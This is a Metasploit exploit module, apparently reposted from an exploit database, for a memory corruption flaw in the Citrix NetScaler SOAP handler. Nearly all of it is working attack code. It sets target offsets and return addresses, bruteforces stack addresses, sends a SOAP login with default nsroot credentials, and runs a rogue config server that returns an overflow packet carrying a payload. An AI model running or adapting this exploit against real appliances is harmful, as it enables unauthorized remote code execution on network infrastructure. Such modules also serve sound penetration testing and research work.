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# Citrix NetScaler SOAP Handler Remote Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Brute

def initialize(info={})
super(update_info(info,
'Name' => "Citrix NetScaler SOAP Handler Remote Code Execution",
'Description' => %q{
This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance.
The vulnerability exists in the SOAP handler, accessible through the web interface. A
malicious SOAP requests can force the handler to connect to a malicious NetScaler config
server. This malicious config server can send a specially crafted response in order to
trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary
code with the privileges of the web server running the SOAP handler. This module has been
tested successfully on the NetScaler Virtual Appliance 450010.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Bradley Austin', # Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
['URL', 'http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html']
],
'Payload' =>
{
'Space' => 1024,
'MinNops' => 512,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Arch' => ARCH_X86,
'Platform' => 'bsd',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'NetScaler Virtual Appliance 450010',
{
'RwPtr' => 0x80b9000, # apache2 rw address / Since this target is a virtual appliance, has
sense.
'Offset' => 606,
'Ret' => 0xffffda94, # Try before bruteforce...
# The virtual appliance lacks of security mitigations like DEP/ASLR, since the
# process being exploited is an apache child, the bruteforce attack works fine
# here.
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xffffec00 }, # bottom of the stack
'Stop' => { 'Ret' => 0xfffdf000 }, # top of the stack
'Step' => 256
}
}
],
],
'DisclosureDate' => "Sep 22 2014",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']),
OptAddress.new('SRVHOST', [true, "The local host to listen on. This must be an address on the local machine
reachable by the target", ]),
OptPort.new('SRVPORT', [true, "The local port to listen on.", 3010])
], self.class)
end


def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})

if res && res.code == 200 && res.body && res.body =~ /Server Request Handler.*No body
received/m
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Unknown
end

def exploit
if ['0.0.0.0', '127.0.0.1'].include?(datastore['SRVHOST'])
fail_with(Failure::BadConfig, 'Bad SRVHOST, use an address on the local machine reachable by the target')
end

if check != Exploit::CheckCode::Detected
fail_with(Failure::NoTarget, "#{peer} - SOAP endpoint not found")
end

start_service

if target.ret
@curr_ret = target.ret
send_request_soap
Rex.sleep(3)

if session_created?
return
end
end

super
end

def brute_exploit(addrs)
@curr_ret = addrs['Ret']
send_request_soap
end

def send_request_soap
soap = <<-EOS
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns7744:login xmlns:ns7744="urn:NSConfig">
<username xsi:type="xsd:string">nsroot</username>
<password xsi:type="xsd:string">nsroot</password>
<clientip xsi:type="xsd:string">#{datastore['SRVHOST']}</clientip>
<cookieTimeout xsi:type="xsd:int">1800</cookieTimeout>
<ns xsi:type="xsd:string">#{datastore['SRVHOST']}</ns>
</ns7744:login>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
EOS

print_status("#{peer} - Sending soap request...")

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => soap
}, 1)
end

def on_client_data(c)
print_status("#{c.peerhost} - Getting request...")

data = c.get_once(2)
req_length = data.unpack("v")[0]

req_data = c.get_once(req_length - 2)
unless req_data.unpack("V")[0] == 0xa5a50000
print_error("#{c.peerhost} - Incorrect request... sending payload anyway")
end

print_status("#{c.peerhost} - Sending #{payload.encoded.length} bytes payload with ret
0x#{@curr_ret.to_s(16)}...")

my_payload = Rex::Text.pattern_create(target['Offset'])
my_payload << [@curr_ret, target['RwPtr']].pack("V*")
my_payload << payload.encoded

pkt = [my_payload.length + 6].pack("v")
pkt << "\x00\x00\xa5\xa5"
pkt << my_payload
c.put(pkt)
c.disconnect
end

end

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# Iranian Exploit DataBase = http://IeDb.Ir [2014-11-07]

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